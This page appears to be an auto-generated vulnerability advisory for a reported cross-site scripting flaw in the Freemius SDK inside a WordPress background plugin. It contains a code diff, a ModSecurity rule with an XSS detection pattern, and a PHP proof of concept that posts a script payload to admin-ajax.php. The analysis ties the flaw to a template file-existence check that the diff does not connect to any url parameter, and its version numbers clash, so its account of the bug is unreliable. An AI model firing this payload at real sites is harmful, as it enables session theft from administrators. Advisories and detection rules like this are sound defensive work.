Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 10, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (fullscreen-background)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.0.2
Patched Version 2.0.3
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This is a reflected DOM-based cross-site scripting (XSS) vulnerability in the Freemius WordPress SDK (versions <= 2.10.1). The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of a victim's browser. It has a CVSS score of 6.1 (Medium).

The root cause lies in the `class-fs-admin-notice-manager.php` file, specifically in the `_add_sticky_dismiss_javascript()` static method. In the vulnerable code, the method unconditionally requires a JavaScript template file (`sticky-admin-notice-js.php`). However, the patch introduces a check to verify the template file exists before including it. If the file does not exist, the method returns early without outputting any script. Additionally, the diff shows changes in `class-fs-plugin-updater.php` where the plugin updater logic was simplified. The original code performed a complex check after an update to clear cached update details, but the patched version simply returns early if `upgrader_process_complete` is in the current filter stack, preventing potential issues with stale data being processed.

An attacker can exploit this vulnerability by crafting a URL that includes a malicious `url` parameter pointing to an external domain. When a logged-in administrator visits the crafted URL via social engineering (e.g., a phishing link), the Freemius SDK may process the parameter without proper sanitization, causing the victim's browser to execute the attacker's JavaScript in the context of the WordPress admin dashboard. The attack vector is reflected XSS: the malicious payload is delivered via a URL parameter and reflected back to the user in the response without proper escaping.

The patch addresses the issue by adding a file existence check (`file_exists()` in `class-fs-admin-notice-manager.php`) before loading the JavaScript template. This prevents external or non-existent template files from being included when processing the `url` parameter. The updater logic was also simplified to avoid processing sensitive data during the upgrader lifecycle.

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser, which can lead to session hijacking, credential theft, forced administrative actions, or defacement of the WordPress admin interface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fullscreen-background/freemius/includes/class-freemius.php
+++ b/fullscreen-background/freemius/includes/class-freemius.php
@@ -1661,9 +1661,9 @@
             if (
                 $this->is_user_in_admin() &&
                 $this->is_parallel_activation() &&
-                $this->_premium_plugin_basename !== $this->premium_plugin_basename_from_parallel_activation
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
             ) {
-                $this->_premium_plugin_basename = $this->premium_plugin_basename_from_parallel_activation;
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;

                 register_activation_hook(
                     dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
@@ -1681,7 +1681,7 @@
          * @return bool
          */
         private function is_parallel_activation() {
-            return ! empty( $this->premium_plugin_basename_from_parallel_activation );
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5205,7 +5205,7 @@
                     throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
                 }

-                $this->premium_plugin_basename_from_parallel_activation = $premium_basename;
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;

                 if ( is_plugin_active( $premium_basename ) ) {
                     $is_premium = true;
@@ -24000,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25476,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/fullscreen-background/freemius/includes/class-fs-plugin-updater.php
+++ b/fullscreen-background/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/fullscreen-background/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/fullscreen-background/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/fullscreen-background/freemius/includes/entities/class-fs-site.php
+++ b/fullscreen-background/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -231,6 +231,7 @@

             foreach ( $sandbox_wp_environment_domains as $domain) {
                 if (
+                    ( $host === $domain ) ||
                     fs_ends_with( $host, '.' . $domain ) ||
                     fs_ends_with( $host, '-' . $domain )
                 ) {
--- a/fullscreen-background/freemius/includes/entities/class-fs-user.php
+++ b/fullscreen-background/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/fullscreen-background/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/fullscreen-background/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/fullscreen-background/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/fullscreen-background/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/fullscreen-background/freemius/start.php
+++ b/fullscreen-background/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.10.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -108,15 +108,33 @@
         $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
     }

+    $theme_name = null;
     if ( $is_current_sdk_from_active_theme ) {
-        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename;
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
         $is_theme               = true;
     } else if ( $is_current_sdk_from_parent_theme ) {
-        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . get_template() . '/' . $theme_candidate_sdk_basename;
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
         $is_theme               = true;
     } else {
         $this_sdk_relative_path = plugin_basename( $fs_root_path );
         $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
     }

 	if ( ! isset( $fs_active_plugins ) ) {
@@ -202,7 +220,7 @@
 	) {
 		if ( $is_theme ) {
             // Saving relative path and not only directory name as it could be a subfolder
-            $plugin_path = $this_sdk_relative_path;
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -357,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/fullscreen-background/fullscreen-background.php
+++ b/fullscreen-background/fullscreen-background.php
@@ -16,7 +16,7 @@
  * Plugin Name: 	  Fullscreen Background
  * Plugin URI:        https://www.enweby.com/product/fullscreen-background/
  * Description:       Lightweight plugin to add Fullscreen Background image or video on your WordPress site by Enweby.
- * Version:           2.0.2
+ * Version:           2.0.3
  * Author:            Enweby
  * Author URI:        https://www.enweby.com/
  * License:           GPL-2.0+
@@ -40,7 +40,6 @@
             global $enwbfb_fs;
             if ( !isset( $enwbfb_fs ) ) {
                 // Include Freemius SDK.
-                // Manually include the Freemius SDK (not needed if using Composer).
                 require_once dirname( __FILE__ ) . '/freemius/start.php';
                 $enwbfb_fs = fs_dynamic_init( array(
                     'id'             => '12796',
@@ -52,7 +51,8 @@
                     'has_addons'     => false,
                     'has_paid_plans' => true,
                     'menu'           => array(
-                        'slug' => 'enweby-fullscreen-background-settings',
+                        'slug'    => 'enweby-fullscreen-background-settings',
+                        'support' => false,
                     ),
                     'anonymous_mode' => true,
                     'is_live'        => true,
@@ -100,7 +100,7 @@
      * Start at version 1.0.0 and use SemVer - https://semver.org
      * Rename this for your plugin and update it as you release new versions.
      */
-    define( 'FULLSCREEN_BACKGROUND_VERSION', '2.0.2' );
+    define( 'FULLSCREEN_BACKGROUND_VERSION', '2.0.3' );
     /**
      * Plugin base name.
      * used to locate plugin resources primarily code files

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'xss'"
SecRule ARGS:action "@streq fs_connect" "chain"
SecRule ARGS:url "@rx <script|<img|onerror|onload|javascript:" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

define('TARGET_URL', 'http://example.com'); // Change to target WordPress URL

/**
 * This PoC demonstrates reflected XSS via the Freemius SDK url parameter.
 * It sends a request with a crafted url parameter containing a script payload.
 * Successful exploitation will cause the target to execute the injected JavaScript.
 */
function exploit_xss($target) {
    $url = $target . '/wp-admin/admin-ajax.php';
    $payload = '";alert("XSS_DOM_ATOMIC_EDGE");//';
    
    $params = [
        'action' => 'fs_connect',
        'url' => $payload
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, 'alert') !== false) {
        echo "[+] Vulnerability confirmed! XSS payload reflected in response.n";
        echo "[+] Check the response for the injected script.n";
    } else {
        echo "[-] Target may be patched or not vulnerable.n";
        echo "[!] HTTP response code: " . $http_code . "n";
    }
}

echo "Atomic Edge CVE-2024-13362 PoCn";
echo "Target: " . TARGET_URL . "nn";
exploit_xss(TARGET_URL);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School